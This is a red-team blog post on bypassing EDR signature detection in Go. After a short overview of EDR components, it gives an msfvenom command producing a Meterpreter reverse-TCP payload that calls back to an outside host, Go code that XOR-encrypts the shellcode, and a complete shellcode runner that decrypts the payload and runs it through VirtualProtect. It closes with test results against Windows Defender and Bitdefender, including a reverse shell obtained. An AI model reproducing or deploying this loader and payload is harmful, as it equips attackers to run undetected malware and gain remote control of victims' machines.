Tag: Shellcode

  • Red Team Weaponization with Go #2 – Signature-Based Bypass – XOR Encryption

    This article continues from our previous post, which briefly explained the control mechanisms of EDRs. This post will detail the theoretical part from a different perspective.

    As we detail the application phase in this article, we aim to bypass Windows Defender & Bitdefender in a live environment instead of VirusTotal.

    The Components of an EDR

    EDRs have many different components, but we will briefly discuss Data Collection, Detection Capabilities, and Data Analysis because they are of specific interest to us:

    Data Collection

    • Endpoint Agents: Small software programs installed on endpoints (e.g., laptops, desktops, servers) to collect and send data to a central repository.
    • Telemetry Data: Includes details like process activity, file modifications, network connections, and user behavior.

    Detection Capabilities

    • Behavioral Analysis: Machine learning and heuristic analysis detect suspicious activities based on deviations from normal behavior.
    • Signature-Based Detection: Identifies known threats using databases of malware signatures.
    • Threat Intelligence Integration: Leverages external threat intelligence feeds to identify known indicators of compromise (IOCs).

    Data Analysis

    • Correlation Engine: Analyzes and correlates data from various sources to identify patterns indicative of malicious activities.
    • Automated Analysis: Uses algorithms to analyze collected data and flag potential threats automatically.
    • Visualization Tools: Provides graphical data representations to help security analysts understand complex relationships and patterns.

    Types of EDR Bypasses

    EDRs can be deceived, and their controls can be bypassed using many different methods. Some examples of these bypass techniques are as follows:

    • There might be misconfiguration on EDR, which malware uses to evade controls.
    • The EDR product might not be able to collect the relevant telemetry.
    • The detection mechanisms might have a known deficiency or lack of competence.
    • The detected activities might be insufficient to classify them as malicious actions, making them appear legitimate processes.

    Important Note: EDRs also use different techniques, such as function hooking, to analyze malware. Since we cover a different topic in this series, we will not focus on methods like ‘Direct Syscalls’ and ‘Evading Function Hooks.’ We may address these topics in future posts.

    Building a Custom XOR Encryption

    First, we generate a shellcode that we will run within the malware:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=80 -f go
    

    Next, we need to prepare the code that will XOR encryption of the shellcode:

    package main
    
    import (
    	"encoding/hex"
    	"fmt"
    )
    
    func xorEncrypt(data, key []byte) []byte {
    	encrypted := make([]byte, len(data))
    	keyLen := len(key)
    	for i := 0; i < len(data); i++ {
    		encrypted[i] = data[i] ^ key[i%keyLen]
    	}
    	return encrypted
    }
    
    func main() {
    	// Replace it with your encrypted shellcode
    	buf := []byte{0xfc, 0x48, ... , 0xd5}
    
    	key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
    
    	fmt.Println("Original Shellcode:", buf)
    	sc := xorEncrypt(buf, key)
    
    	encryptedHex := hex.EncodeToString(sc)
    	fmt.Println("Encrypted Shellcode:", encryptedHex)
    }
    

    The code is simple and understandable, so I do not explain it in detail. Essentially, we encrypt the shellcode provided in the ‘buf’ variable with the key specified in the ‘key’ variable (0x01, 0x02, 0x03, 0x04, 0x05).

    Running the code gives us the encrypted value.

    XOR Decryption

    Due to the nature of XOR, encrypting the shellcode with the same key will give us the decrypted version. To verify this, we can look at the decrypter code below:

    package main
    
    import (
    	"encoding/hex"
    	"fmt"
    )
    
    func xorEncrypt(data, key []byte) []byte {
    	encrypted := make([]byte, len(data))
    	keyLen := len(key)
    	for i := 0; i < len(data); i++ {
    		encrypted[i] = data[i] ^ key[i%keyLen]
    	}
    	return encrypted
    }
    
    func main() {
      // Replace it with your encrypted shellcode
    	encryptedShellcode := "fd4...5fbd0"
    
    	encryptedBytes, err := hex.DecodeString(encryptedShellcode)
    	if err != nil {
    		fmt.Println("Error decoding hex string:", err)
    		return
    	}
    
    	// XOR key
    	key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
    
    	// Decrypt the bytes
    	decryptedBytes := xorEncrypt(encryptedBytes, key)
    
    	// Print the decrypted shellcode
    	fmt.Println("Decrypted Shellcode:", decryptedBytes)
    }
    
    

    The result of the code will show us the our original shellcode.

    XOR Decryption in Shellcode Runner

    Now, we can write a shellcode runner for the XOR encrypted shellcode obtained in the previous step.

    package main
    
    import (
    	"encoding/hex"
    	"fmt"
    	"os"
    	"syscall"
    	"unsafe"
    )
    
    // xorEncrypt applies XOR encryption on the data with the given key
    func xorEncrypt(data, key []byte) []byte {
    	encrypted := make([]byte, len(data))
    	keyLen := len(key)
    	for i := 0; i < len(data); i++ {
    		encrypted[i] = data[i] ^ key[i%keyLen]
    	}
    	return encrypted
    }
    
    // Importing the VirtualProtect function from kernel32.dll
    var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
    
    // VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process
    func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
    	ret, _, _ := procVirtualProtect.Call(
    		uintptr(lpAddress),
    		uintptr(dwSize),
    		uintptr(flNewProtect),
    		uintptr(lpflOldProtect))
    	return ret > 0
    }
    
    func main() {
    	// Shellcode in hex string format - Replace it with your encrypted shellcode
    	scHex := "fd4a...bd0"
    	
    	// Decode the shellcode from hex string to byte slice
    	sc1, err := hex.DecodeString(scHex)
    	if err != nil {
    		fmt.Println("Error decoding shellcode:", err)
    		os.Exit(1)
    	}
    
    	// XOR encryption key
    	key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
    
    	// Decrypt the shellcode using XOR encryption
    	sc := xorEncrypt(sc1, key)
    
    	// Creating a dummy function pointer to modify its permissions
    	f := func() {}
    	var oldfperms uint32
    
    	// Change the protection of the memory region where the function pointer is stored to be executable
    	if !VirtualProtect(
    		unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))),
    		unsafe.Sizeof(uintptr(0)),
    		uint32(0x40),
    		unsafe.Pointer(&oldfperms)) {
    		fmt.Println("VirtualProtect failed!")
    		os.Exit(1)
    	}
    
    	// Overwrite the function pointer with the shellcode address
    	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    
    	var oldshellcodeperms uint32
    	
    	// Change the protection of the memory region where the shellcode is stored to be executable
    	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
    		fmt.Println("VirtualProtect failed!")
    		os.Exit(1)
    	}
    
    	// Execute the shellcode
    	f()
    }
    
    

    The comments within the code provide detailed information about the specific parts.

    In summary, the flow is:

    1. Converts the hex-encoded shellcode string to a byte slice.
    2. Uses XOR encryption to decrypt the shellcode.
    3. Prepares a dummy function pointer and modifies its permissions to make it executable.
    4. Overwrites the function pointer with the decrypted shellcode.
    5. Changes the protection of the memory region where the shellcode is stored to make it executable.
    6. Executes the shellcode by calling the function pointer.

    Detection & Test

    So far, we expect the malware we prepared to bypass signature-based checks. Although there are differences in EDR products, we expect the malicious file not to be deleted when uploaded to the target system as long as it is not executed and is not controlled by dynamic analysis.

    When the malware is uploaded into the test environments with Windows Defender and Bitdefender running, it is not deleted but deleted upon execution.

    In Bitdefender, the malware is cleaned from the target after the first stage of the staged payload.

    The situation is a bit different in Windows Defender; the malware is executed, and it is detected and removed after receiving a reverse shell session from the target system.

    When we check on VirusTotal, the result comes out as 15/74.

    Conclusion

    Although we have bypassed signature-based controls at a basic level in this and the previous articles, many different techniques need to be used together to bypass advanced EDR products. In subsequent articles, we will examine commonly used behavior-based bypass techniques along with these signature-based bypass techniques.

    You can access the code written during the study through the GitHub repository.